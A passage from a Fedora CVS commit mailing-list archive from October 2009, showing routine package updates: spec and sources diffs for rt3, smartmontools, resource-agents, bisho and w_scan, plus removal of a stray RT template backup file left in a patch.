-# https://bugzilla.redhat.com/show_bug.cgi?id=526870
-# Patch from http://lists.bestpractical.com/pipermail/rt-announce/2009-September/000173.html
-# Fixed in rt >= 3.8.5
-Patch5:		rt-3.8.4-rh-bz526870.diff
-
 BuildArch:	noarch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -237,7 +232,6 @@ find etc -type f -exec chmod a-x {} \;
 %patch0 -p1
 %patch2 -p1
 %patch3 -p1
-%patch5 -p1
 
 # Patch backups added by rpm disturb
 find -name '*.orig' -exec rm -f {} \;
@@ -437,6 +431,10 @@ fi
 %{RT3_LIBDIR}/RT/Test*
 
 %changelog
+* Mon Oct 12 2009 Ralf Cors?pius <corsepiu at fedoraproject.org> - 3.8.5-1
+- Upstream update.
+- Remove rt-3.8.4-rh-bz526870.diff.
+
 * Mon Oct 12 2009 Ralf Cors?pius <corsepiu at fedoraproject.org> - 3.8.4-5
 - Bump Release:.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rt3/devel/sources,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- sources	19 Jun 2009 04:13:40 -0000	1.14
+++ sources	12 Oct 2009 16:03:21 -0000	1.15
@@ -1 +1 @@
-cdfdbd954203a8bc2c663a6847218ccc  rt-3.8.4.tar.gz
+177addb62ec3c7ee7335b696dcb0b0a1  rt-3.8.5.tar.gz


--- rt-3.8.4-rh-bz526870.diff DELETED ---



From mhlavink at fedoraproject.org  Mon Oct 12 16:05:20 2009
From: mhlavink at fedoraproject.org (Michal Hlavinka)
Date: Mon, 12 Oct 2009 16:05:20 +0000 (UTC)
Subject: rpms/smartmontools/F-11 smartmontools-5.38-lowcap.patch, 1.3,
	1.4 smartmontools.spec, 1.60, 1.61
Message-ID: <20091012160520.E7E8D11C00DB@cvs1.fedora.phx.redhat.com>

Author: mhlavink

Update of /cvs/extras/rpms/smartmontools/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14849

Modified Files:
	smartmontools-5.38-lowcap.patch smartmontools.spec 
Log Message:
* Mon Oct 12 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:5.38-18
- warn about disabled mail only if capabilities are enabled


smartmontools-5.38-lowcap.patch:
 Makefile.am  |    2 -
 configure.in |   34 +++++++++++++++++++++++++++++++++
 smartd.8.in  |    6 +++++
 smartd.cpp   |   60 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++--
 4 files changed, 99 insertions(+), 3 deletions(-)

Index: smartmontools-5.38-lowcap.patch
===================================================================
RCS file: /cvs/extras/rpms/smartmontools/F-11/smartmontools-5.38-lowcap.patch,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- smartmontools-5.38-lowcap.patch	9 Oct 2009 09:11:47 -0000	1.3
+++ smartmontools-5.38-lowcap.patch	12 Oct 2009 16:05:20 -0000	1.4
@@ -1,6 +1,6 @@
 diff -up smartmontools-5.38/configure.in.lowcap smartmontools-5.38/configure.in
---- smartmontools-5.38/configure.in.lowcap	2009-10-09 10:19:22.395700024 +0200
-+++ smartmontools-5.38/configure.in	2009-10-09 10:19:22.431698988 +0200
+--- smartmontools-5.38/configure.in.lowcap	2009-10-12 17:00:53.889673785 +0200
++++ smartmontools-5.38/configure.in	2009-10-12 17:00:53.896678618 +0200
 @@ -143,6 +143,40 @@ if test "$with_selinux" = "yes"; then
  	AC_DEFINE(WITH_SELINUX, [1], [Define to 1 if SELinux support is enabled])
  fi
@@ -44,7 +44,7 @@ diff -up smartmontools-5.38/configure.in
      if test "$mandir" = '${prefix}/man'; then
 diff -up smartmontools-5.38/Makefile.am.lowcap smartmontools-5.38/Makefile.am
 --- smartmontools-5.38/Makefile.am.lowcap	2007-04-01 18:49:44.000000000 +0200
-+++ smartmontools-5.38/Makefile.am	2009-10-09 10:19:22.434699065 +0200
++++ smartmontools-5.38/Makefile.am	2009-10-12 17:00:53.896678618 +0200
 @@ -35,7 +35,7 @@ smartd_SOURCES =  smartd.cpp      \
                    utility.cpp     \
                    utility.h
@@ -56,7 +56,7 @@ diff -up smartmontools-5.38/Makefile.am.
  EXTRA_smartd_SOURCES = os_darwin.cpp    \
 diff -up smartmontools-5.38/smartd.8.in.lowcap smartmontools-5.38/smartd.8.in
 --- smartmontools-5.38/smartd.8.in.lowcap	2008-03-04 23:09:47.000000000 +0100
-+++ smartmontools-5.38/smartd.8.in	2009-10-09 10:19:22.439699030 +0200
++++ smartmontools-5.38/smartd.8.in	2009-10-12 17:00:53.902672971 +0200
 @@ -145,6 +145,12 @@ input. This is useful for commands like:
  to perform quick and simple checks without a configuration file.
  
@@ -71,8 +71,8 @@ diff -up smartmontools-5.38/smartd.8.in.
  Runs \fBsmartd\fP in "debug" mode. In this mode, it displays status
  information to STDOUT rather than logging it to SYSLOG and does not
 diff -up smartmontools-5.38/smartd.cpp.lowcap smartmontools-5.38/smartd.cpp
---- smartmontools-5.38/smartd.cpp.lowcap	2009-10-09 10:19:22.312699527 +0200
-+++ smartmontools-5.38/smartd.cpp	2009-10-09 10:43:45.294698988 +0200
+--- smartmontools-5.38/smartd.cpp.lowcap	2009-10-12 17:00:53.883672847 +0200
++++ smartmontools-5.38/smartd.cpp	2009-10-12 17:04:18.600547796 +0200
 @@ -74,6 +74,10 @@ extern "C" int __stdcall FreeConsole(voi
  #include <io.h> // setmode()
  #endif // __CYGWIN__
@@ -119,7 +119,7 @@ diff -up smartmontools-5.38/smartd.cpp.l
 +#ifdef HAVE_LIBCAP_NG
 +  PrintOut(LOG_INFO,"  -C, --usecapabilities\n");
 +  PrintOut(LOG_INFO,"        Use possix capabilities (EXPERIMENTAL).\n"
-+		    "        Warning: Mail notification does not work when used.\n");
++		    "        Warning: Mail notification does not work when used.\n\n");
 +#endif
  #ifdef _WIN32
    PrintOut(LOG_INFO,"  --service\n");
@@ -183,20 +183,23 @@ diff -up smartmontools-5.38/smartd.cpp.l
    
    // the main loop of the code
    while (1){
-@@ -4482,7 +4527,15 @@ static int smartd_main(int argc, char **
+@@ -4482,7 +4527,18 @@ static int smartd_main(int argc, char **
          PrintTestSchedule(ATAandSCSIdevlist);
          EXIT(0);
        }
 -      
++
 +#ifdef HAVE_LIBCAP_NG
-+      for(int i=numdevata+numdevscsi; i>1; i--) {
-+	  if (ATAandSCSIdevlist[i-1]->mailwarn) {
-+	      PrintOut(LOG_WARNING,"Mail can't be enabled together with --usecapabilities. All mail will be suppressed.\n");
-+	      break;
-+	  }
++      if (enable_capabilities) {
++        for(int i=0; i<numdevata+numdevscsi; i++) {
++          if (ATAandSCSIdevlist[i]->mailwarn) {
++            PrintOut(LOG_WARNING,"Mail can't be enabled together with --usecapabilities. All mail will be suppressed.\n");
++            break;
++          }
++        }
 +      }
-+	
 +#endif
++
        // reset signal
        caughtsigHUP=0;
      }


Index: smartmontools.spec
===================================================================
RCS file: /cvs/extras/rpms/smartmontools/F-11/smartmontools.spec,v
retrieving revision 1.60
retrieving revision 1.61
diff -u -p -r1.60 -r1.61
--- smartmontools.spec	9 Oct 2009 18:55:09 -0000	1.60
+++ smartmontools.spec	12 Oct 2009 16:05:20 -0000	1.61
@@ -1,6 +1,6 @@
 Name: smartmontools
 Version: 5.38
-Release: 17%{?dist}
+Release: 18%{?dist}
 Epoch: 1
 Summary:       Tools for monitoring SMART capable hard disks
 Group:         System Environment/Base
@@ -79,6 +79,9 @@ fi
 %config(noreplace) %{_sysconfdir}/sysconfig/smartmontools
 
 %changelog
+* Mon Oct 12 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:5.38-18
+- warn about disabled mail only if capabilities are enabled
+
 * Fri Oct 09 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:5.38-17
 - fix apostrophes around shell variable
 



From beekhof at fedoraproject.org  Mon Oct 12 16:05:29 2009
From: beekhof at fedoraproject.org (Andrew Beekhof)
Date: Mon, 12 Oct 2009 16:05:29 +0000 (UTC)
Subject: rpms/resource-agents/F-12 resource-agents.spec,1.16,1.17
Message-ID: <20091012160529.88E6411C00DB@cvs1.fedora.phx.redhat.com>

Author: beekhof

Update of /cvs/pkgs/rpms/resource-agents/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14938

Modified Files:
	resource-agents.spec 
Log Message:
Update pacemaker resources from upstream


Index: resource-agents.spec
===================================================================
RCS file: /cvs/pkgs/rpms/resource-agents/F-12/resource-agents.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- resource-agents.spec	25 Sep 2009 10:37:43 -0000	1.16
+++ resource-agents.spec	12 Oct 2009 16:05:29 -0000	1.17
@@ -20,12 +20,12 @@
 # Invoking 'hg archive' wont but you can add one with:
 #  hg archive -t tgz -p "Cluster-Resource-Agents-" -r $altversion $altversion.tar.gz
 %define altprefix Cluster-Resource-Agents-
-%define altversion 2198dc90bec4
+%define altversion 099c0e5d80db
 
 Name: resource-agents
 Summary: Open Source HA Resource Agents for Red Hat Cluster
 Version: 3.0.3
-Release: 1%{?alphatag:.%{alphatag}}%{?dist}
+Release: 2%{?alphatag:.%{alphatag}}%{?dist}
 License: GPLv2+ and LGPLv2+
 Group: System Environment/Base
 URL: http://sources.redhat.com/cluster/wiki/
@@ -138,6 +138,9 @@ rm -rf %{buildroot}
 %dir %{_datadir}/resource-agents
 %doc %{_datadir}/resource-agents/ra-api-1.dtd
 
+%dir %{_sysconfdir}/ha.d
+%{_sysconfdir}/ha.d/shellfuncs
+
 %dir %{_libdir}/heartbeat
 %{_libdir}/heartbeat/findif
 %{_libdir}/heartbeat/send_arp  
@@ -155,6 +158,24 @@ rm -rf %{buildroot}
 /usr/lib/ocf/resource.d/heartbeat/ldirectord
 
 %changelog
+* Mon Oct 12 2009 Andrew Beekhof <andrew at beekhof.net> - 3.0.3-2
+- Update Pacameker agents to upstream version: 099c0e5d80db
+  + Add the ha_parameter function back into .ocf-shellfuncs.
+  + Bug bnc#534803 - Provide a default for MAILCMD
+  + Fix use of undefined macro @HA_NOARCHDATAHBDIR@
+  + High (LF 2138): IPsrcaddr: replace 0/0 with proper ip prefix (thanks to Michael Ricordeau and Michael Schwartzkopff)
+  + Import shellfuncs from heartbeat as badly written RAs use it
+  + Medium (LF 2173): nfsserver: exit properly in nfsserver_validate
+  + Medium: RA: Filesystem: implement monitor operation
+  + Medium: RA: VirtualDomain: loop on status if libvirtd is unreachable
+  + Medium: RA: VirtualDomain: loop on status if libvirtd is unreachable (addendum)
+  + Medium: RA: iSCSILogicalUnit: use a 16-byte default SCSI ID
+  + Medium: RA: iSCSITarget: be more persistent deleting targets on stop
+  + Medium: RA: portblock: add per-IP filtering capability
+  + Medium: mysql-proxy: log_level and keepalive parameters
+  + Medium: oracle: drop spurious output from sqlplus
+  + RA: Filesystem: allow configuring smbfs mounts as clones
+
 * Wed Sep 23 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.3-1
 - New rgmanager resource agents upstream release
 



From pbrobinson at fedoraproject.org  Mon Oct 12 16:09:17 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Mon, 12 Oct 2009 16:09:17 +0000 (UTC)
Subject: rpms/bisho/devel .cvsignore, 1.4, 1.5 bisho.spec, 1.9, 1.10 sources,
	1.4, 1.5
Message-ID: <20091012160917.9A5F811C00DB@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/bisho/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15451

Modified Files:
	.cvsignore bisho.spec sources 
Log Message:
- New upstream 0.14 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/bisho/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	7 Sep 2009 11:07:38 -0000	1.4
+++ .cvsignore	12 Oct 2009 16:09:17 -0000	1.5
@@ -1 +1 @@
-bisho-0.12.tar.bz2
+bisho-0.14.tar.bz2


Index: bisho.spec
===================================================================
RCS file: /cvs/pkgs/rpms/bisho/devel/bisho.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- bisho.spec	7 Sep 2009 14:58:19 -0000	1.9
+++ bisho.spec	12 Oct 2009 16:09:17 -0000	1.10
@@ -1,6 +1,6 @@
 Name:           bisho
-Version:        0.12
-Release:        3%{?dist}
+Version:        0.14
+Release:        1%{?dist}
 Summary:        Moblin configuration tool for mojito social network aggregator
 
 Group:          System Environment/Libraries
@@ -91,6 +91,9 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{_datadir}/icons/hicolor/48x48/apps/bisho.png
 
 %changelog
+* Mon Oct 12 2009 Peter Robinson <pbrobinson at gmail.com> 0.14-1
+- New upstream 0.14 release
+
 * Mon Sep  7 2009 Peter Robinson <pbrobinson at gmail.com> 0.12-3
 - Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/bisho/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	7 Sep 2009 11:07:39 -0000	1.4
+++ sources	12 Oct 2009 16:09:17 -0000	1.5
@@ -1 +1 @@
-664e71935a7ae720858212522f189ccd  bisho-0.12.tar.bz2
+437018324727e5a223511a1d414abcbe  bisho-0.14.tar.bz2



From corsepiu at fedoraproject.org  Mon Oct 12 16:11:39 2009
From: corsepiu at fedoraproject.org (corsepiu)
Date: Mon, 12 Oct 2009 16:11:39 +0000 (UTC)
Subject: rpms/rt3/F-10 rt-3.8.2-rh-bz526870.diff,1.1,1.2
Message-ID: <20091012161139.AC84B11C00DB@cvs1.fedora.phx.redhat.com>

Author: corsepiu

Update of /cvs/pkgs/rpms/rt3/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16227/F-10

Modified Files:
	rt-3.8.2-rh-bz526870.diff 
Log Message:
Remove patch backup.

rt-3.8.2-rh-bz526870.diff:
 ShowCustomFields |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

Index: rt-3.8.2-rh-bz526870.diff
===================================================================
RCS file: /cvs/pkgs/rpms/rt3/F-10/rt-3.8.2-rh-bz526870.diff,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- rt-3.8.2-rh-bz526870.diff	12 Oct 2009 15:37:42 -0000	1.1
+++ rt-3.8.2-rh-bz526870.diff	12 Oct 2009 16:11:39 -0000	1.2
@@ -10,121 +10,3 @@ diff -Naur rt-3.8.2.orig/share/html/Elem
      }
      $m->out('</a>') if $linked;
  
-diff -Naur rt-3.8.2.orig/share/html/Elements/ShowCustomFields.orig rt-3.8.2/share/html/Elements/ShowCustomFields.orig
---- rt-3.8.2.orig/share/html/Elements/ShowCustomFields.orig	1970-01-01 01:00:00.000000000 +0100
-+++ rt-3.8.2/share/html/Elements/ShowCustomFields.orig	2009-01-07 02:15:28.000000000 +0100
-@@ -0,0 +1,114 @@
-+%# BEGIN BPS TAGGED BLOCK {{{
-+%# 
-+%# COPYRIGHT:
-+%# 
-+%# This software is Copyright (c) 1996-2009 Best Practical Solutions, LLC
-+%#                                          <jesse at bestpractical.com>
-+%# 
-+%# (Except where explicitly superseded by other copyright notices)
-+%# 
-+%# 
-+%# LICENSE:
-+%# 
-+%# This work is made available to you under the terms of Version 2 of
-+%# the GNU General Public License. A copy of that license should have
-+%# been provided with this software, but in any event can be snarfed
-+%# from www.gnu.org.
-+%# 
-+%# This work is distributed in the hope that it will be useful, but
-+%# WITHOUT ANY WARRANTY; without even the implied warranty of
-+%# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-+%# General Public License for more details.
-+%# 
-+%# You should have received a copy of the GNU General Public License
-+%# along with this program; if not, write to the Free Software
-+%# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
-+%# 02110-1301 or visit their web page on the internet at
-+%# http://www.gnu.org/licenses/old-licenses/gpl-2.0.html.
-+%# 
-+%# 
-+%# CONTRIBUTION SUBMISSION POLICY:
-+%# 
-+%# (The following paragraph is not intended to limit the rights granted
-+%# to you to modify and distribute this software under the terms of
-+%# the GNU General Public License and is only of importance to you if
-+%# you choose to contribute your changes and enhancements to the
-+%# community by submitting them to Best Practical Solutions, LLC.)
-+%# 
-+%# By intentionally submitting any modifications, corrections or
-+%# derivatives to this work, or any other work intended for use with
-+%# Request Tracker, to Best Practical Solutions, LLC, you confirm that
-+%# you are the copyright holder for those contributions and you grant
-+%# Best Practical Solutions,  LLC a nonexclusive, worldwide, irrevocable,
-+%# royalty-free, perpetual, license to use, copy, create derivative
-+%# works based on those contributions, and sublicense and distribute
-+%# those contributions and any derivatives thereof.
-+%# 
-+%# END BPS TAGGED BLOCK }}}
-+<table>
-+% while ( my $CustomField = $CustomFields->Next ) {
-+% my $Values = $Object->CustomFieldValues( $CustomField->Id );
-+% my $count = $Values->Count;
-+  <tr id="CF-<%$CustomField->id%>-ShowRow">
-+    <td class="label"><% $CustomField->Name %>:</td>
-+    <td class="value">
-+% unless ( $count ) {
-+<i><&|/l&>(no value)</&></i>
-+% } elsif ( $count == 1 ) {
-+%   $print_value->( $CustomField, $Values->First );
-+% } else {
-+<ul>
-+% while ( my $Value = $Values->Next ) {
-+<li>
-+% $print_value->( $CustomField, $Value );
-+</li>
-+% }
-+</ul>
-+% }
-+    </td>
-+  </tr>
-+% }
-+</table>
-+<%INIT>
-+my $CustomFields = $Object->CustomFields;
-+$m->callback( CallbackName => 'MassageCustomFields', CustomFields => $CustomFields );
-+
-+my $print_value = sub {
-+    my ($cf, $value) = @_;
-+    my $linked = $cf->LinkValueTo;
-+    if ( $linked ) {
-+        $m->out('<a href="'. $value->LinkValueTo .'" target="_new">');
-+    }
-+    my $comp = "ShowCustomField". $cf->Type;
-+    $m->callback(
-+        CallbackName => 'ShowComponentName',
-+        Name         => \$comp,
-+        CustomField  => $cf,
-+        Object       => $Object,
-+    );
-+    if ( $m->comp_exists( $comp ) ) {
-+        $m->comp( $comp, Object => $value );
-+    } else {
-+        $m->print( $value->Content );
-+    }
-+    $m->out('</a>') if $linked;
-+
-+    # This section automatically populates a div with the "IncludeContentForValue" for this custom
-+    # field if it's been defined
-+    if ( $cf->IncludeContentForValue ) {
-+       my $vid = $value->id;
-+       $m->out(   '<div class="object_cf_value_include" id="object_cf_value_'. $vid .'">' );
-+       $m->print( loc("See also:") );
-+       $m->out(   '<a href="'. $value->IncludeContentForValue .'">' );
-+       $m->print( $value->IncludeContentForValue );
-+       $m->out(   qq{</a></div>\n} );
-+       $m->out(   qq{<script><!--\nahah('} );
-+       $m->print( $value->IncludeContentForValue );
-+       $m->out(   qq{', 'object_cf_value_$vid');\n--></script>\n} );
-+    }
-+};
-+
-+</%INIT>
-+<%ARGS>
-+$Object => undef
-+</%ARGS>



From corsepiu at fedoraproject.org  Mon Oct 12 16:11:39 2009
From: corsepiu at fedoraproject.org (corsepiu)
Date: Mon, 12 Oct 2009 16:11:39 +0000 (UTC)
Subject: rpms/rt3/F-11 rt-3.8.2-rh-bz526870.diff,1.1,1.2
Message-ID: <20091012161139.D4E3411C0265@cvs1.fedora.phx.redhat.com>

Author: corsepiu

Update of /cvs/pkgs/rpms/rt3/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16227/F-11

Modified Files:
	rt-3.8.2-rh-bz526870.diff 
Log Message:
Remove patch backup.

rt-3.8.2-rh-bz526870.diff:
 ShowCustomFields |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

Index: rt-3.8.2-rh-bz526870.diff
===================================================================
RCS file: /cvs/pkgs/rpms/rt3/F-11/rt-3.8.2-rh-bz526870.diff,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- rt-3.8.2-rh-bz526870.diff	12 Oct 2009 15:36:17 -0000	1.1
+++ rt-3.8.2-rh-bz526870.diff	12 Oct 2009 16:11:39 -0000	1.2
@@ -10,121 +10,3 @@ diff -Naur rt-3.8.2.orig/share/html/Elem
      }
      $m->out('</a>') if $linked;
  
-diff -Naur rt-3.8.2.orig/share/html/Elements/ShowCustomFields.orig rt-3.8.2/share/html/Elements/ShowCustomFields.orig
---- rt-3.8.2.orig/share/html/Elements/ShowCustomFields.orig	1970-01-01 01:00:00.000000000 +0100
-+++ rt-3.8.2/share/html/Elements/ShowCustomFields.orig	2009-01-07 02:15:28.000000000 +0100
-@@ -0,0 +1,114 @@
-+%# BEGIN BPS TAGGED BLOCK {{{
-+%# 
-+%# COPYRIGHT:
-+%# 
-+%# This software is Copyright (c) 1996-2009 Best Practical Solutions, LLC
-+%#                                          <jesse at bestpractical.com>
-+%# 
-+%# (Except where explicitly superseded by other copyright notices)
-+%# 
-+%# 
-+%# LICENSE:
-+%# 
-+%# This work is made available to you under the terms of Version 2 of
-+%# the GNU General Public License. A copy of that license should have
-+%# been provided with this software, but in any event can be snarfed
-+%# from www.gnu.org.
-+%# 
-+%# This work is distributed in the hope that it will be useful, but
-+%# WITHOUT ANY WARRANTY; without even the implied warranty of
-+%# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-+%# General Public License for more details.
-+%# 
-+%# You should have received a copy of the GNU General Public License
-+%# along with this program; if not, write to the Free Software
-+%# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
-+%# 02110-1301 or visit their web page on the internet at
-+%# http://www.gnu.org/licenses/old-licenses/gpl-2.0.html.
-+%# 
-+%# 
-+%# CONTRIBUTION SUBMISSION POLICY:
-+%# 
-+%# (The following paragraph is not intended to limit the rights granted
-+%# to you to modify and distribute this software under the terms of
-+%# the GNU General Public License and is only of importance to you if
-+%# you choose to contribute your changes and enhancements to the
-+%# community by submitting them to Best Practical Solutions, LLC.)
-+%# 
-+%# By intentionally submitting any modifications, corrections or
-+%# derivatives to this work, or any other work intended for use with
-+%# Request Tracker, to Best Practical Solutions, LLC, you confirm that
-+%# you are the copyright holder for those contributions and you grant
-+%# Best Practical Solutions,  LLC a nonexclusive, worldwide, irrevocable,
-+%# royalty-free, perpetual, license to use, copy, create derivative
-+%# works based on those contributions, and sublicense and distribute
-+%# those contributions and any derivatives thereof.
-+%# 
-+%# END BPS TAGGED BLOCK }}}
-+<table>
-+% while ( my $CustomField = $CustomFields->Next ) {
-+% my $Values = $Object->CustomFieldValues( $CustomField->Id );
-+% my $count = $Values->Count;
-+  <tr id="CF-<%$CustomField->id%>-ShowRow">
-+    <td class="label"><% $CustomField->Name %>:</td>
-+    <td class="value">
-+% unless ( $count ) {
-+<i><&|/l&>(no value)</&></i>
-+% } elsif ( $count == 1 ) {
-+%   $print_value->( $CustomField, $Values->First );
-+% } else {
-+<ul>
-+% while ( my $Value = $Values->Next ) {
-+<li>
-+% $print_value->( $CustomField, $Value );
-+</li>
-+% }
-+</ul>
-+% }
-+    </td>
-+  </tr>
-+% }
-+</table>
-+<%INIT>
-+my $CustomFields = $Object->CustomFields;
-+$m->callback( CallbackName => 'MassageCustomFields', CustomFields => $CustomFields );
-+
-+my $print_value = sub {
-+    my ($cf, $value) = @_;
-+    my $linked = $cf->LinkValueTo;
-+    if ( $linked ) {
-+        $m->out('<a href="'. $value->LinkValueTo .'" target="_new">');
-+    }
-+    my $comp = "ShowCustomField". $cf->Type;
-+    $m->callback(
-+        CallbackName => 'ShowComponentName',
-+        Name         => \$comp,
-+        CustomField  => $cf,
-+        Object       => $Object,
-+    );
-+    if ( $m->comp_exists( $comp ) ) {
-+        $m->comp( $comp, Object => $value );
-+    } else {
-+        $m->print( $value->Content );
-+    }
-+    $m->out('</a>') if $linked;
-+
-+    # This section automatically populates a div with the "IncludeContentForValue" for this custom
-+    # field if it's been defined
-+    if ( $cf->IncludeContentForValue ) {
-+       my $vid = $value->id;
-+       $m->out(   '<div class="object_cf_value_include" id="object_cf_value_'. $vid .'">' );
-+       $m->print( loc("See also:") );
-+       $m->out(   '<a href="'. $value->IncludeContentForValue .'">' );
-+       $m->print( $value->IncludeContentForValue );
-+       $m->out(   qq{</a></div>\n} );
-+       $m->out(   qq{<script><!--\nahah('} );
-+       $m->print( $value->IncludeContentForValue );
-+       $m->out(   qq{', 'object_cf_value_$vid');\n--></script>\n} );
-+    }
-+};
-+
-+</%INIT>
-+<%ARGS>
-+$Object => undef
-+</%ARGS>



From heffer at fedoraproject.org  Mon Oct 12 16:13:08 2009
From: heffer at fedoraproject.org (Felix Kaechele)
Date: Mon, 12 Oct 2009 16:13:08 +0000 (UTC)
Subject: rpms/w_scan/F-11 .cvsignore, 1.4, 1.5 sources, 1.4, 1.5 w_scan.spec,
	1.5, 1.6
Message-ID: <20091012161308.9B1F911C00DB@cvs1.fedora.phx.redhat.com>

Author: heffer

Update of /cvs/pkgs/rpms/w_scan/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16457

Modified Files:
	.cvsignore sources w_scan.spec 
Log Message:
* Mon Oct 12 2009 Felix Kaechele <heffer at fedoraproject.org> - 20090918-1
- new upstream release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/w_scan/F-11/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	9 Aug 2009 16:04:49 -0000	1.4
+++ .cvsignore	12 Oct 2009 16:13:08 -0000	1.5
@@ -1 +1 @@
-w_scan-20090808.tar.bz2
+w_scan-20090918.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/w_scan/F-11/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	9 Aug 2009 16:04:49 -0000	1.4
+++ sources	12 Oct 2009 16:13:08 -0000	1.5
@@ -1 +1 @@
-4aa4faf6363e3b669bbe23172a436b42  w_scan-20090808.tar.bz2
+5102fd735519aebef5ca4919e88c6b00  w_scan-20090918.tar.bz2


Index: w_scan.spec
===================================================================
RCS file: /cvs/pkgs/rpms/w_scan/F-11/w_scan.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- w_scan.spec	9 Aug 2009 16:04:49 -0000	1.5
+++ w_scan.spec	12 Oct 2009 16:13:08 -0000	1.6
@@ -1,5 +1,5 @@
 Name:           w_scan
-Version:        20090808
+Version:        20090918
 Release:        1%{?dist}
 Summary:        Tool for scanning DVB transponders
 
@@ -22,7 +22,7 @@ iconv -f iso-8859-1 -t utf-8 doc/w_scan.
 touch -r doc/w_scan.1 doc/w_scan.1.utf-8
 mv doc/w_scan.1.utf-8 doc/w_scan.1
 
-dos2unix doc/README.file_formats
+chmod 644 scan.c
 
 %build
 %configure
@@ -54,6 +54,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 12 2009 Felix Kaechele <heffer at fedoraproject.org> - 20090918-1
+- new upstream release
+
 * Sat Aug 08 2009 Felix Kaechele <heffer at fedoraproject.org> - 20090808-1
 - fixes 513871
 



From heffer at fedoraproject.org  Mon Oct 12 16:18:58 2009
From: heffer at fedoraproject.org (Felix Kaechele)
Date: Mon, 12 Oct 2009 16:18:58 +0000 (UTC)
Subject: rpms/w_scan/F-10 .cvsignore, 1.4, 1.5 sources, 1.4, 1.5 w_scan.spec,
	1.3, 1.4
Message-ID: <20091012161858.C065311C00DB@cvs1.fedora.phx.redhat.com>

Author: heffer

Update of /cvs/pkgs/rpms/w_scan/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17548

Modified Files:
	.cvsignore sources w_scan.spec 
Log Message:
* Mon Oct 12 2009 Felix Kaechele <heffer at fedoraproject.org> - 20090918-1
- new upstream release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/w_scan/F-10/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	9 Aug 2009 16:06:19 -0000	1.4
+++ .cvsignore	12 Oct 2009 16:18:58 -0000	1.5
@@ -1 +1 @@
-w_scan-20090808.tar.bz2
+w_scan-20090918.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/w_scan/F-10/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	9 Aug 2009 16:06:20 -0000	1.4
+++ sources	12 Oct 2009 16:18:58 -0000	1.5
@@ -1 +1 @@
-4aa4faf6363e3b669bbe23172a436b42  w_scan-20090808.tar.bz2
+5102fd735519aebef5ca4919e88c6b00  w_scan-20090918.tar.bz2


Index: w_scan.spec
===================================================================
RCS file: /cvs/pkgs/rpms/w_scan/F-10/w_scan.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- w_scan.spec	9 Aug 2009 16:06:20 -0000	1.3
+++ w_scan.spec	12 Oct 2009 16:18:58 -0000	1.4
@@ -1,5 +1,5 @@
 Name:           w_scan
-Version:        20090808
+Version:        20090918
 Release:        1%{?dist}
 Summary:        Tool for scanning DVB transponders
 
@@ -22,7 +22,7 @@ iconv -f iso-8859-1 -t utf-8 doc/w_scan.
 touch -r doc/w_scan.1 doc/w_scan.1.utf-8
 mv doc/w_scan.1.utf-8 doc/w_scan.1
 
-dos2unix doc/README.file_formats
+chmod 644 scan.c
 
 %build
 %configure
@@ -54,6 +54,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 12 2009 Felix Kaechele <heffer at fedoraproject.org> - 20090918-1
+- new upstream release
+
 * Sat Aug 08 2009 Felix Kaechele <heffer at fedoraproject.org> - 20090808-1
 - fixes 513871
 



From ltinkl at fedoraproject.org  Mon Oct 12 16:31:15 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
